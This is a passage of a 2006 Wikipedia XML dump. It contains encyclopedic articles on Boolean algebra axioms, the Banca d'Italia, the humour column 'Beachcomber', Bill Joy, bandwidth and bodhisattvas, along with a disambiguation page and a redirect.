== Representing Boolean algebras ==

It can be shown that every ''finite'' Boolean algebra is isomorphic to the Boolean algebra of all subsets of a finite set.  Therefore, the number of elements of every finite Boolean algebra is a [[power of two]]. 

[[Marshall H. Stone|Stone's]] celebrated ''[[Stone's representation theorem for Boolean algebras|representation theorem for Boolean algebras]]'' states that ''every'' Boolean algebra ''A'' is isomorphic to the Boolean algebra of all [[closed-open]] sets in some ([[compact space|compact]] [[totally disconnected]] [[Hausdorff space|Hausdorff]]) topological space.

== Axiomatics for Boolean algebras ==

In 1933, the American mathematician [[Edward Vermilye Huntington]] (1874-1952) showed the following axiomatization for Boolean algebra:

# ''Commutativity'': ''x'' + ''y'' = ''y'' + ''x''.
# ''Associativity'': (''x'' + ''y'') + ''z'' = ''x'' + (''y'' + ''z'').
# ''Huntington equation'': ''n''(''n''(''x'') + ''y'') + ''n''(''n''(''x'') + ''n''(''y'')) = ''x''.

The [[unary functional symbol]] ''n'' may be read as 'complement'.

[[Herbert Robbins]] then posed the following question:  Can the Huntington equation be shortened as follows, and is this new equation, together with associativity and commutativity, a basis for Boolean algebra?  With this collection of axioms called a ''Robbins algebra'', the question then becomes: Is every Robbins algebra a Boolean algebra?

Axiomatization for Robbins algebra:

# ''Commutativity'': ''x'' + ''y'' = ''y'' + ''x''.
# ''Associativity'': (''x'' + ''y'') + ''z'' = ''x'' + (''y'' + ''z'').
# ''Robbins Equation'': ''n''(''n''(''x'' + ''y''') + ''n''(''x'' + ''n''(''y''))) = ''x''.

This question remained open from the 1930s, and became a favorite question of [[Alfred Tarski]] and his students.  

In 1996, [[William McCune]] at [[Argonne National Laboratory]], building upon the work of Larry Wos, Steve Winker, and Bob Veroff, answered this long-standing question in the affirmative: Every Robbins algebra is a Boolean algebra.  This work was done using McCune's [[automated reasoning program]] [[EQP]].

==See also==
* [[Boolean function]]
* [[Boolean logic]]
* [[Boolean-valued function]]
* [[Canonical form (Boolean algebra)]]
* [[Complete Boolean algebra]]
* [[Forcing (mathematics)]]
* [[Free Boolean algebra]]
* [[Heyting algebra]]
* [[Karnaugh map]]
* [[List of Boolean algebra topics]]
* [[Logic gate]]
* [[Logical matrix]]
* [[:simple:Boolean algebra|Boolean algebra]] (an article about Boolean logic in the Simple English Wikipedia)
* [[Venn diagram]]

== External links ==

* [http://plato.stanford.edu/entries/boolalg-math/ Article on ''The Mathematics of Boolean Algebra''] at the [[Stanford Encyclopedia of Philosophy]]

[[Category:Boolean algebra|*]]

[[bg:Булева алгебра]]
[[bn:বুলিয়ান বীজগণিত]]
[[ca:Àlgebra de Boole]]
[[cs:Booleova algebra]]
[[de:Boolesche Algebra]]
[[es:Álgebra de Boole]]
[[fa:جبر بولی]]
[[fr:Algèbre de Boole (logique)]]
[[gl:Álxebra de Boole]]
[[hr:Booleova algebra]]
[[io:Booleana algebro]]
[[id:Aljabar Boolean]]
[[it:Algebra di Boole]]
[[he:אלגברה בוליאנית]]
[[lt:Būlio algebra]]
[[nl:Booleaanse algebra]]
[[ja:ブール代数]]
[[pl:Algebra Boole'a]]
[[pt:Álgebra booleana]]
[[ru:Булева алгебра]]
[[sl:Booleova algebra]]
[[sr:Булова алгебра]]
[[sv:Boolesk algebra]]
[[th:พีชคณิตแบบบูล]]
[[tr:Boole cebiri]]
[[uk:Булева алгебра]]
[[zh:布尔代数]]</text>
    </revision>
  </page>
  <page>
    <title>Banca d'Italia</title>
    <id>3960</id>
    <revision>
      <id>35397491</id>
      <timestamp>2006-01-16T13:19:35Z</timestamp>
      <contributor>
        <username>XanaX</username>
        <id>241901</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">'''Banca d'Italia''' is the [[central bank]] of [[Italy]] and part of the [[European System of Central Banks]]. It is located in Palazzo Koch, [[Rome|Roma]], via Nazionale. The bank's current governor is [[Mario Draghi]], having taken office on [[January 16]], [[2006]].

==Functions==
After the charge of monetary and exchange rate policies was shifted in 1998 to the [[European Central Bank]], within the European institutional framework, the bank implements the decisions, issues [[Euro|euro]] banknotes and withdraws and destroys worn pieces.

The main function has thus become banking and financial supervision. The objective is to ensure the stability and efficiency of the system and compliance to rules and regulations; the bank pursues it through secondary legislation, controls and cooperation with governmental authorities.

Following reform in 2005, which was prompted by takeover scandals, the bank has lost exclusive antitrust authority in the cedit sector, which is now shared with [[Italy's Antitrust Authority]].

Other functions include, market supervision, oversight of the payment system and provision of settlement services, State treasury service, Central Credit Register, economic analysis and institutional consultancy.

==History==
The institution, also called '''Bankitalia''', was founded in 1893, from the fusion of the four major banks in Italy. Until 1928 it was directed by a ''General Manager'', while since then it is directed by a ''Governor''. The Governor was elected from the internal commission of managers, with a decree from the [[List of Presidents of the Italian Republic|President of the Republic]]. Its mandate had no preestablished duration and it was, as a matter of fact, to life.

===General Managers (1893 - 1928)===
*[[Giacomo Grillo]] (1893 - 1894)
*[[Giuseppe Marchiori]] (1894 - 1900)
*[[Bonaldo Stringher]] (1900 - 1928)

===Governors (1928 - present)===
*[[Bonaldo Stringher]] (1928 - 1930)
*[[Vincenzo Azzolini]] (1931 - 1944)
*[[Luigi Einaudi]] (1945 - 1948)
*[[Donato Menichella]] (1948 - 1960)
*[[Guido Carli]] (1960 - 1975)
*[[Paolo Baffi]] (1975 - 1979)
*[[Carlo Azeglio Ciampi]] (1979 - 1993)
*[[Antonio Fazio]] (1993 - 2005)
*[[Mario Draghi]] (2006 - present)

==Organization of the Bank of Italy==

===Governing Bodies===
The Bank's governing bodies are the [[Annual General Meeting|General Meeting of Shareholders]], the [[Board of Directors]], the [[Governor]], the [[Director General]] and two Deputy Directors General; the last four constitute the Directorate. 

The general meeting takes place yearly and has the purpose of approving accounts and appointing the [[Auditor|auditors]]. The Board of Directors has administrative powers and is chaired by the governor (or by the Director General in his absence). Following reform in 2005, the governor has lost exclusive responsibility regarding decisions with external relevance (i.e. banking and financial supervision), which has been transferred to the Directorate (on majority vote). The Director General is responsible for the day-to-day administration of the bank, and acts as governor when absent.

The [[Board of Auditors]] assesses the bank's administration and compliance with the law, regulations and the statute.

===Appointment===
The Directorate's [[term of office]] lasts six years and is renewable once. The appointment of the governor is in charge of the government, heard the Board of Directors, with the approval of the [[List of Presidents of the Italian Republic|President of the Republic]] (formally a [[decree]] of the President). The Board of Directors is elected by the shareholders according to the bank [[statute]].

==External links==
*[http://www.bancaditalia.it/rootcollection;internal&amp;action=_setlanguage.action?LANGUAGE=en Official web page]
*[http://www.bancaditalia.it/la_banca/storia/history.pdf History of the Banca d'Italia]

{{Org-stub}}

[[Category:Banks of Italy]]
[[Category:European System of Central Banks|Italia]]

[[fr:Banque d'Italie]]
[[it:Banca d'Italia]]</text>
    </revision>
  </page>
  <page>
    <title>British</title>
    <id>3962</id>
    <revision>
      <id>41639133</id>
      <timestamp>2006-02-28T18:42:08Z</timestamp>
      <contributor>
        <username>RussBlau</username>
        <id>111074</id>
      </contributor>
      <minor />
      <comment>please see [[WP:MOSDAB]] before adding extraneous wikilinks to this page</comment>
      <text xml:space="preserve">:{{Template:British Isles (terminology)}}
'''British''' is an adjective derived from the word [[Britain]]. It is used most commonly to describe the citizenship of a person from the [[United Kingdom|United Kingdom of Great Britain and Northern Ireland]].

It can also be used for:
*Someone or something from the island of [[Great Britain]]
*In the geographical term [[British Isles]]
*As a descriptor of [[British English]] dialects collectively, or of the [[British language (Celtic)|extinct Celtic language now called &quot;British&quot;]] or [[Brythonnic]]
*[[Brython]]s, the [[indigenous]] [[Celtic]] people of Great Britain
*Someone or something from one of the modern United Kingdom's predecessor states, these being - 
:*The [[United Kingdom of Great Britain and Ireland]]
:*The [[United Kingdom of Great Britain]]

==See Also==
*[[Alternative words for British]]
*[[British nationality law]]
*[[Briton]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Beachcomber</title>
    <id>3963</id>
    <revision>
      <id>23214986</id>
      <timestamp>2005-09-14T10:20:11Z</timestamp>
      <contributor>
        <username>Stewartadcock</username>
        <id>29890</id>
      </contributor>
      <comment>/* Other formats */ dab LP</comment>
      <text xml:space="preserve">:''For the founding father of tiki restaurants, bars, and nightclubs, see [[Don the Beachcomber]].''

'''Beachcomber''' was a [[pen name|''nom de plume'']] used by [[surrealism|surrealist]] humorous columnists [[D. B. Wyndham-Lewis]] and [[J. B. Morton|John Bingham Morton]] as authors of a [[Daily Express]] column called &quot;By the Way&quot;.  Other authors who used the name were Major John William Arbuthnott [[MVO]] and [[William Hartston]].

==&quot;By The Way&quot; in print==

The &quot;By The Way&quot; column was originally a society news column, published from [[1917]] onwards, written by social correspondent Major John Arbuthnott who invented the name &quot;Beachcomber&quot;.  It was taken over by Wyndham-Lewis sometime in [[1919]] who reinvented it as an outlet for his wit and humour.  It  was then passed to Morton during [[1924]] though it is likely there was a period when they overlapped.  Morton wrote the column until [[1975]]; it was revived in the early [[1990s]] and continues today, written by [[William Hartston]].  The column is unsigned except by &quot;Beachcomber&quot; and it was not publicly known that Morton (or, come to that, Wyndham-Lewis) wrote it until the [[1930s]].  Although there have been three humorous &quot;Beachcomber&quot; columnists to date, the name is mainly associated with Morton who has been credited as an influence by [[Spike Milligan]] amongst others.  Morton introduced the recurring characters and continuing stories that were a major feature of the column during his 51-year run.

The format of the column was a random assortment of small paragraphs which were otherwise unconnected.  These could be anything, such as 

*court reports, often involving Twelve Red-Bearded Dwarves before Mr Justice Cocklecarrot
*angry exchanges of letters between characters such as Florence McGurgle and her dissatisfied boarders
*interruptions from &quot;Prodnose&quot;, representing the public, who would then be roundly cursed by the author and kicked out
*installments of serials that could stop, restart from earlier, be abandoned altogether or change direction abruptly without warning
*parodies of poetry or drama, particularly of the extremely &quot;literary&quot; type such as [[Ibsen]]
*news reports from around the country

or just anything that the author thought funny at the time.  Morton's other interest, [[France]], was occasionally represented by epic tales of his rambling walks through the French countryside.  These were ''not'' intended as humour.

&quot;By The Way&quot; was very popular with the readership, one of the reasons it lasted so long.  Its style and randomness could be off-putting, however, and it is safe to say the humour could be something of an acquired taste.  Oddly, one of the column's greatest opponents was Express Newspaper's owner, [[Lord Beaverbrook]], who had to keep being assured the column was indeed funny.  Another prominent critic was [[George Orwell]] but &quot;By The Way&quot; was one of the only features kept continuously running in the often seriously reduced Daily Express throughout [[World War II]], where Morton's lampooning of [[Hitler]], including the British invention of Bracerot to make the Nazi's trousers fall down at inopportune moments, was regarded as valuable for morale.

The column was daily until [[1965]] when it was changed to weekly.  It was then cancelled in [[1975]] and revived as a daily piece in the early 1990s where it continues to the present day in much the same format.

==Other formats==

The [[Will Hay]] film [[Boys Will Be Boys]] ([[1935]]) was set at Morton's [[Narkover]] school.

In [[1969]], [[Spike Milligan]] based a BBC television series named ''The World of Beachcomber'' on the columns. According to Milligan, the columns had been an influence on the comedic style of his radio series, ''[[The Goon Show]]''.  A small selection was issued on a 1971 [[LP (format)|LP]] and a 2-cassette set of the series' soundtrack was made available in the late 1990s.

In [[1994]], [[BBC]] [[Radio 4]] broadcast the first of three series based on Morton's work.  This featured [[Richard Ingrams]], [[John Wells]], [[Patricia Routledge]] and [[John Sessions]] from compilations prepared by [[Mike Barfield]].  Series 1 was also made available as a 2-cassette set.

==Bibliography==

===Books featuring Wyndham-Lewis' work===

*''A London Farrago'' (1922)

===Books featuring Morton's work===

'''Original collections'''

*''Mr Thake'' (1929)
*''Mr Thake Again''
*''By The Way'' (1931)
*''Morton's Folly''
*''The Adventures of Mr Thake''
*''Mr Thake and the Ladies''
*''Stuff and Nonsense''
*''Gallimaufry''
*''Sideways Through Borneo''
*''A Diet of Thistles''
*''A Bonfire of Weeds''
*''I Do Not Think So''
*''Fool's Paradise''
*''Captain Foulenough and Company''
*''Here and Now''
*''The Misadventures of Dr Strabismus''
*''The Tibetan Venus''
*''Merry-Go-Round'' (1958)

'''Later omnibus editions'''

*''The Best of Beachcomber'' (ed. [[Michael Frayn]], 1963)
*''Beachcomber: the works of J. B. Morton'' (ed. [[Richard Ingrams]], 1974, Muller, London)
*''Cram Me With Eels, the Best of Beachcomber's Unpublished Humor'' (ed. [[Mike Barfield]], 1995, Mandarin, London (ISBN 074931947X))

==Other uses==
The term '''''beachcomber''''' also refers to someone who searches along a shore, generally for salable items such as shells or coins.

==External links==

* [http://www.edwards.eclipse.co.uk/beachcom.htm A fan site]
* [http://www.bbc.co.uk/comedy/guide/articles/w/worldofbeachcomb_1299002088.shtml BBC page about ''The World of Beachcomber'']

[[Category:Collective pseudonyms]]
[[Category:Humorists]]</text>
    </revision>
  </page>
  <page>
    <title>Bill Joy</title>
    <id>3965</id>
    <revision>
      <id>38914382</id>
      <timestamp>2006-02-09T13:45:31Z</timestamp>
      <contributor>
        <ip>84.252.25.11</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''William Nelson Joy''' (born [[1954]]), commonly known as '''Bill Joy''', co-founded [[Sun Microsystems]] in [[1982]] along with [[Vinod Khosla]], [[Scott McNealy]] and [[Andy Bechtolsheim]], and served as chief scientist at the company until [[2003]].

==Early career==
After growing up in rural [[Michigan]] Joy received his B.S. in [[Electrical Engineering]] from the [[University of Michigan]] and his M.S. in Electrical Engineering and [[Computer Science]] from [[UC Berkeley]].

Bill Joy was the person largely responsible for the authorship of Berkeley [[Unix|UNIX]], also known as [[Berkeley Software Distribution|BSD]], from which spring many modern forms of UNIX, including [[FreeBSD]], [[NetBSD]], and [[OpenBSD]]. Some of his most notable contributions were [[Transmission Control Protocol|TCP/IP]], the [[vi]] editor, [[Network File System|NFS]], and the [[csh]] shell.

==Sun==
In [[1983]] he co-founded Sun Microsystems. 

There is a story about him:
[[DARPA]] had contracted [[Bolt, Beranek and Newman|BBN]] to add TCP/IP, devised by [[Vinton Cerf]] and [[Robert E. Kahn|Bob Kahn]], into Berkeley UNIX. Joy had been instructed to plug BBN's stack into Berkeley Unix. But Joy refused to do so. In his opinion, BBN's TCP/IP wasn't good enough. So he wrote his own high-performance TCP/IP stack.

As [[John Gage]] tells it, &quot;BBN had a big contract to implement TCP/IP, but their stuff didn't work, and Joy's grad student stuff worked. So they had this big meeting and this grad student in a T-shirt shows up, and they said, 'How did you do this?' And Bill said, 'It's very simple -- you read the protocol and write the code.'&quot; Others dispute this version of events.

In [[1986]], Joy was awarded a [[Grace Murray Hopper Award]] by the [[Association for Computing Machinery|ACM]] for his work on the Berkeley UNIX Operating System.

Joy was also a primary figure in the development of the [[SPARC]] microprocessors, the [[Java programming language]], and [[Jini]].

On [[September 9]], [[2003]] Sun announced that Bill Joy was leaving the company and that he &quot;is taking time to consider his next move and has no definite plans&quot;.

==Technology fears==
In [[2000]] he gained notoriety with the publication of his article in ''[[Wired Magazine]]'', &quot;[[Why the future doesn't need us]]&quot;, in which he declared, in what some have described as a &quot;neo-[[Luddite]]&quot; position, that he was convinced that growing advances in [[genetic engineering]] and [[nanotechnology]] would bring [[existential risk|risks]] to humanity. He argued that intelligent [[robot]]s would replace humanity, at the very least in intellectual and social dominance, in the relatively near future. One of those whom he admitted had set him thinking along this path was [[Theodore Kaczynski]], the anti-technology murderer known as [[the Unabomber]].

==Post-Sun activities==
In late [[2003]] Joy founded a capital venture firm, HighBar Ventures, with two Sun colleagues. In January [[2005]] he was named a partner in venture capital firm [[Kleiner, Perkins, Caufield &amp; Byers]].

Bill Joy is married and lives with his four children in [[Aspen, Colorado|Aspen]], [[Colorado]].

Bill Joy once said, &quot;My method is to look at something that seems like a good idea and assume it's true.&quot; [http://www.shirky.com/writings/group_enemy.html]

==External links==
*[http://archive.salon.com/tech/fsp/2000/05/16/chapter_2_part_one/index.html BSD Unix: Power to the people, from the code] - Salon article
*[http://www.wired.com/wired/archive/8.04/joy_pr.html ''Why the future doesn't need us''], ''Wired'', April 2000
*[http://www.wired.com/wired/archive/11.12/billjoy.html?pg=2&amp;topic=&amp;topic_set= Interview] ''Wired'', December 2003
*[http://www.tecsoc.org/innovate/focusbilljoy.htm Bill Joy's Hi-Tech Warning]
*[http://technetcast.ddj.com/tnc_catalog.html?item_id=245 Bill Joy], techcast.ddj.com
*[http://news.com.com/2100-1012_3-5073205.html?tag=fd_top Co-founder Joy to leave Sun], news.com, [[September 9]] [[2003]]
*[http://www.fortune.com/fortune/technology/articles/0,15114,490598-1,00.html ''Joy After Sun''], interview with Brent Schlender for ''Fortune'', [[September 29]] [[2003]]
&lt;!--  *[http://www.sun.com/aboutsun/media/ceo/mgt_joy.html Bio from Sun Microsystems] see link below for archive of this --&gt;
*[http://web.archive.org/web/20030401125050/www.sun.com/aboutsun/media/ceo/mgt_joy.html Internet archive of biography from Sun Microsystems in 2003]
*[http://news.com.com/Talking+tech+with+Bill+Joy/2008-1014_3-5647645.html CNet Interview: Talking tech with Bill Joy] - [[31 March]] [[2005]]
* [http://www.pbs.org/cringely/nerdtv/shows/#3 NerdTV interview] (video, audio, and transcript available) - [[30 June]] [[2005]]
*[http://docs.freebsd.org/44doc/usd/12.vi/paper.html An Introduction to Display Editing with Vi]
*[http://mitworld.mit.edu/video/324/ The Six Webs, 10 Years On - speech at MIT Emerging Technologies conference]
* [http://www.computerhistory.org/events/index.php?id=1120598654 Computer History Museum, 11-Jan-2006: Sun Founders Panel]
** [http://www.sun.com/2006-0113/feature/index.html Sun Feature Story: The Fab Four Reunites] (webcast of the event)


[[Category:1954 births|Joy, Bill]]
[[Category:Living people|Joy, Bill]]
[[Category:Computer pioneers|Joy, Bill]]
[[Category:Computer scientists|Joy, Bill]]
[[Category:Electrical engineers|Joy, Bill]]
[[Category:Unix people|Joy, Bill]]

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[[th:บิล จอย]]</text>
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  </page>
  <page>
    <title>BGP</title>
    <id>3966</id>
    <revision>
      <id>15902272</id>
      <timestamp>2004-05-26T23:40:03Z</timestamp>
      <contributor>
        <username>B1tr0t</username>
        <id>67567</id>
      </contributor>
      <comment>removes double link</comment>
      <text xml:space="preserve">#REDIRECT [[Border Gateway Protocol]]</text>
    </revision>
  </page>
  <page>
    <title>Bandwidth</title>
    <id>3967</id>
    <revision>
      <id>40774544</id>
      <timestamp>2006-02-22T22:58:24Z</timestamp>
      <contributor>
        <ip>68.221.234.104</ip>
      </contributor>
      <comment>/* Analog systems */</comment>
      <text xml:space="preserve">'''Bandwidth''' is a measure of [[frequency]] range, measured in [[hertz]], of a function of a frequency variable.  
Bandwidth is a central concept in many fields, including [[information theory]], [[radio]] [[communication]]s, [[signal processing]], and [[spectroscopy]].  Bandwidth also refers to data rates when communicating over certain media or devices.  According to the [[Shannon-Hartley theorem]], the data rate of reliable communication is directly proportional to the frequency range of the signal used for the communication.  In this context, the word bandwidth can refer to either the data rate or the frequency range of the communication system (or both).  

Bandwidth is a key concept in many applications.  In radio communications, for example, bandwidth is the range of frequencies occupied by a [[modulated]] [[carrier wave]], whereas in optics it is the width of an individual [[spectral line]] or the entire [[electromagnetic spectrum|spectral range]]

There is no ''single'' universal precise definition of bandwidth, as it is vaguely understood to be a measure
of how wide a function is in the frequency domain. For different applications there are different precise definitions.
For example, one definition of bandwidth could be the range of frequencies beyond which the frequency function is zero.
This would correspond to the mathematical notion of the support of a function (i.e., the total &quot;length&quot; of values for
which the function is nonzero). 
Another definition might not be so strict and ignore the frequencies where the frequency function is ''small''. Small
could mean less than 3 [[dB]] below (i.e., less than half of) the maximum value, or it could mean below a certain absolute value. In short,
as with any definition of the ''width'' of a function, there are many definitions available, which are suitable for
different applications.

== Analog systems ==

[[Image:bandwidth.png|right]]
For [[analog signal]]s, which can be mathematically viewed as a function of time, '''bandwidth''' is the width, measured in [[hertz]], of a frequency range in which the signal's [[Fourier transform]] is nonzero. This definition can be relaxed wherein bandwidth would be the range of frequencies that the signal's Fourier transform has a power above a certain threshold, say
3 dB within the maximum value, in the frequency domain. Bandwidth of a signal is a measure of how rapidly it fluctuates with respect to time. Hence, the greater the bandwidth, the faster the variation in the signal. The word
bandwidth applies to signals as described above, but it could also apply to ''systems''. In the latter case, to say
that a system has a certain bandwidth is a short-hand for saying that the [[transfer function]] of the system has
a certain bandwidth. 

As an example, the 3 dB bandwidth of the function depicted in the figure is &lt;math&gt;f_2-f_1&lt;/math&gt;, whereas other definitions
of bandwidth would yield a different answer.

The fact that [[real numbers|real]] [[baseband]] systems have both negative and positive frequencies can lead to confusion about bandwidth, since they are sometimes referred to only by the positive half, and one will occasionally see expressions such as &lt;math&gt;B = 2W&lt;/math&gt;, where &lt;math&gt;B&lt;/math&gt; is the total bandwidth, and &lt;math&gt;W&lt;/math&gt; is the positive bandwidth.  For instance, this signal would require a [[lowpass filter]] with cutoff frequency of at least &lt;math&gt;W&lt;/math&gt; to stay intact.

The bandwidth of an [[electronic filter]] is the part of the filter's frequency response that lies within 3 [[Decibel|dB]] of the response at the [[center frequency]] of its peak.  

In [[signal processing]] and [[control theory]] the bandwidth is the frequency at which the [[closed-loop]] system gain drops to &amp;minus;3 dB.

In basic electric circuit theory when studying Band-pass and Band-reject filters the bandwidth represents the distance between the two points in the frequency domain where the signal is &lt;math&gt;\frac{1}{\sqrt{2}}&lt;/math&gt; of the maximum signal strength.

In photonics, the term bandwidth occurs in a variety of meanings:
*the bandwidth of the output of some light source, e.g., an ASE source or a laser; the bandwidth of ultrashort optical pulses can be particularly large
*the width of the frequency range that can be transmitted by some element, e.g. an optical fiber
*the gain bandwidth of an optical amplifier
*the width of the range of some other phenomenon (e.g., a reflection, the phase matching of a nonlinear process, or some resonance)
*the maximum modulation frequency (or range of modulation frequencies) of an optical modulator
*the range of frequencies in which some measurement apparatus (e.g., a powermeter) can operate
*the data rate (e.g., in Gbit/s) achieved in an optical communication system

===See also===
*[[Narrowband]]
*[[Broadband]]
*[[Modulation]]

== Digital systems ==

In a digital communication system, bandwidth has a dual meaning.  In the technical sense, it is a synonym for [[baud]] rate,  the rate at which symbols may be transmitted through the system.  It is also used in the colloquial sense to describe [[channel capacity]], the rate at which bits may be transmitted through the system.   Hence, a 66 MHz [[digital]] [[data bus]] with 32 separate data lines may properly be said to have a bandwidth of 66 MHz and a capacity of 2.1 Gbit/s — but it would not be surprising to hear such a bus described as having a &quot;bandwidth of 2.1 Gbit/s.&quot;   Similar confusion exists for analog [[modem]]s, where each symbol carries multiple bits of information so that a modem may transmit 56 kbit/s of information over a [[phone line]] with a bandwidth of only 12 kHz.

In [[discrete time system]]s and [[digital signal processing]], bandwidth is related to [[sampling rate]] according to the [[Nyquist-Shannon sampling theorem]].

''Bandwidth'' is also used in the sense of [[commodity]], referring to something limited or something costing money. Thus, communication costs bandwidth, and improper use of someone else's bandwidth may be called  [[bandwidth theft]].

===See also===
*[[Shannon–Hartley theorem]]
*[[List of device bandwidths]]
*[[Latency vs Bandwidth]]
*[[Bandwidth theft]]
*[[Bandwidth cap]]
*[[Throughput]]
*[[Measuring data throughput]]
*[[Bandwidth Controller]]
*[[Data rate]]

[[Category:Signal processing]]
[[Category:Filter theory]]
[[Category:Information theory]]

[[ca:Ample de banda]]
[[da:Båndbredde]]
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[[it:Ampiezza di banda]]
[[he:רוחב פס]]
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[[no:Båndbredde]]
[[pt:Largura de banda]]
[[sr:Ширина фреквенцијског појаса]]
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    </revision>
  </page>
  <page>
    <title>Bodhisattva</title>
    <id>3968</id>
    <revision>
      <id>42139885</id>
      <timestamp>2006-03-04T02:08:28Z</timestamp>
      <contributor>
        <ip>72.245.25.182</ip>
      </contributor>
      <comment>/* Bodhisattvas in Mahayana Buddhism */</comment>
      <text xml:space="preserve">[[Image:Siddhartha.JPG|thumb|190px|Prince [[Siddhartha Gautama]] as a '''bodhisattva''', before becoming a [[Buddha]]. He is characteristically depicted as an Indian nobleman, posing with left hand on the hip, [[Gandhara]], 2nd-3rd century.]]

In [[Buddhism|Buddhist]] thought, a '''bodhisattva''' ({{zh-stp |s=菩萨 |t=菩薩 |p=púsà}}; [[Japanese Language|Japanese]]: 菩薩 ''bosatsu''; [[Korean language|Korean]]: bosal) is a being who is dedicated to assisting all sentient beings achieve complete [[Samyaksam-Buddha|Buddhahood]]. Conventionally, the term is applied to hypothetical beings with a high degree of [[bodhi|enlightenment]].  ''Bodhisattva'' literally means a &quot;wisdom ('bodhi') being ('sattva')&quot; in [[Sanskrit]].

== Bodhisattvas in Theravada Buddhism ==
In [[Theravada]] Buddhism, the bodhisattva (Pali: bodhisatta) is seen as seeking enlightenment so that, once awakened, he or she may efficiently aid other beings with the expertise of supreme wisdom. [[Gautama Buddha]]'s previous life experience as a bodhisattva before Buddhahood are recorded in the texts of the [[jataka]]. Lay Buddhists of Theravada seek inspiration in Gautama's skill as a good layman in these texts, which account not only his historical life, but many previous lives. When Gautama Buddha referred to himself in his pre-Buddha existence, he spoke in terms of &quot;when I was still a Bodhisattva&quot;. The only currently active bodhisattva described in the [[Pali Canon]] is the future Buddha [[Maitreya]] ([[Pāli|Pali]]: Metteyya). The Theravada tradition, i.e., the Pali Canon, speaks of no other bodhisattvas than these.

== Bodhisattvas in Mahayana Buddhism ==
In [[Mahayana]] Buddhism, a bodhisattva has the compassionate determination to aid all beings on their quest for the highest state of development, full enlightenment of a Buddha. This type of motivation is known as [[bodhicitta]]. Remaining in this world of uncontrolled rebirth (''[[samsara]]''), the Bodhisattva has taken the [[bodhisattva vows|bodhisattva vow]] to achieve Buddhahood as quickly as possible and thereby be most able to teach Dharma until all beings have likewise achieved enlightenment.

Another common conception of the Bodhisattva is one who delays his own final and complete enlightenment in order to save all sentient beings out of his enormous compassion.  He is on a mission to liberate all sentient beings, and only then wil he rest and complete his own enlightenment.

In brief, simply imagine the Bodhisattva as saying, &quot;If I know how to swim, and even one other being cannot, then it is right to remain behind in this world to assist them until they know how to save themselves from drowning&quot;.

[[Mahayana]] Buddhist philosophy sometimes poses the concept of the bodhisattva in opposition to that of the ''[[Sravaka-Buddha]]'' (conventionally referred to as an [[Arhat]]). The Arhat is seen as being possessed of ultimate enlightenment, but he did not choose to save all and every other living being before passing away into [[Parinirvana]].

According to many traditions within [[Mahayana]] Buddhism, on his or her way to becoming a Buddha, the bodhisattva proceeds through ten, or sometimes fourteen, stages or ''[[bhumi]]''. Below is the list of ten bhumis and their descriptions from ''The Jewel Ornament of Liberation'', a treatise by [[Gampopa]], an influential teacher of the [[Tibetan Buddhism|Tibetan]] [[Kagyu]] school. Other schools give variant descriptions.

Before a bodhisattva arrives at the first ground, he or she first must travel the first two of the five paths, which are said to correspond to words from the [[mantra]] that appears at the end of the [[Heart Sutra]]: 

# the path of accumulation (''gate'') 
# the path of preparation (''gate'').

The ten grounds of the bodhisattva then can be grouped into the next three paths
[[Image:MathuraBodhisattvaSide.JPG|thumb|200px|The Bodhisattva [[Maitreya]] practices in a lotus position, [[2nd century|2nd century CE]], [[Mathura]].]]
# Bhumi 1 the path of insight (''paragate'')
# Bhumi 2-7 the path of meditation (''parasamgate'')
# Bhumi 8-10 the path of no more learning (''bodhi'')

==The 10 Grounds of Buddhism==
# ''Great Joy''
#* It is said that being close to enlightenment and seeing the benefit for all [[sentient]] beings, one achieves great joy, hence the name. In this bhumi the bodhisattvas practice all virtues (''[[paramita]]''), but especially emphasizing generosity (''[[dana (Buddhism)|dana]]'').
# ''Stainless''
#* In accomplishing the second bhumi, the bodhisattva is free from the stains of immorality, therefore, this bhumi is named 'Stainless'. The emphasized virtue is moral discipline (''[[sila|śila]]'').
# ''Radiant''
#* The third bhumi is named 'Radiant', because, for a bodhisattva who accomplishes this bhumi, the light of Dharma is said to radiate from the bodhisattva for others. The emphasized virtue is patience (''[[kshanti|kṣanti]]'').
# ''Luminous''
#* This bhumi is called 'luminous', because it is said to be like a radiating light that fully burns that which opposes enlightenment. The emphasized virtue is vigor (''[[virya]]'').
# ''Very difficult to train''
#* Bodhisattvas who attain this bhumi strive to help sentient beings attain maturity, and do not become emotionally involved when such beings respond negatively, both of which are difficult to do. The emphasized virtue is meditative concentration (''[[dhyana|dhyāna]]'').
# ''Obviously Transcendent''
#* &quot;By depending on the perfection of wisdom awareness, he [the bodhisattva] does not abide in either [[samsara|saṃsāra]] or [[nirvana|nirvāṇa]], so it is 'obviously transcendent'&quot;.  The emphasized virtue is wisdom (''[[prajña]]'').
# ''Gone afar''
#* Particular emphasis is on the perfection of skillful means, or [[upaya-kaushalya]], to help others.
# ''Immovable''
#* The emphasized virtue is aspiration.
#* This, the 'Immovable' bhumi, is the bhumi at which one becomes able to choose his/her place of rebirth.
# ''Good Discriminating Wisdom''
#* The emphasized virtue is power.
# ''Cloud of dharma''
#* The emphasized virtue is the practice of primordial wisdom.

After the ten bhumis, according to Mahayana Buddhism, one attains complete enlightenment and becomes a Buddha.

[[Image: Jiuhuashan_bodhisattva_image.JPG|thumb|190px|right|Relief image of the bodhisattva [[Guan Yin]] from [[Mt. Jiuhua]] in [[China]]'s [[Anhui]] province.]]
Various traditions within Buddhism believe in certain specific bodhisattvas. Some bodhisattvas appear across traditions, but due to language barriers may be seen as separate entities. For example, [[Tibetan Buddhism|Tibetan Buddhists]] believe in [[Chenrezig]], who is [[Avalokitesvara]] in India, [[Kuan Yin]] (other spellings: Guan Yin, Kwan Yin, Quan Yin) in China, and [[Kannon]] in Japan. A modern bodhisattva for many is the [[14th Dalai Lama]], considered by many followers of Tibetan Buddhism to be an incarnation of that same bodhisattva, the Bodhisattva of Compassion. 

The bodhisattva is a popular subject in [[Buddhist art]].

The place of a bodhisattva's earthly deeds, such as the achievement of [[enlightenment (Buddhism)|enlightenment]] or the acts of [[dharma]], is known as a [[bodhimandala]], and may be a site of [[pilgrimage]]. Many temples and monasteries are famous as bodhimandalas; for instance, the island of [[Putuoshan]], located off the coast of [[Ningbo]], is venerated by Chinese Buddhists as the bodhimandala of [[Avalokitesvara]]. Perhaps the most famous bodhimandala of all is the [[bodhi tree]] under which [[Gautama Buddha|Shakyamuni]] achieved buddhahood.

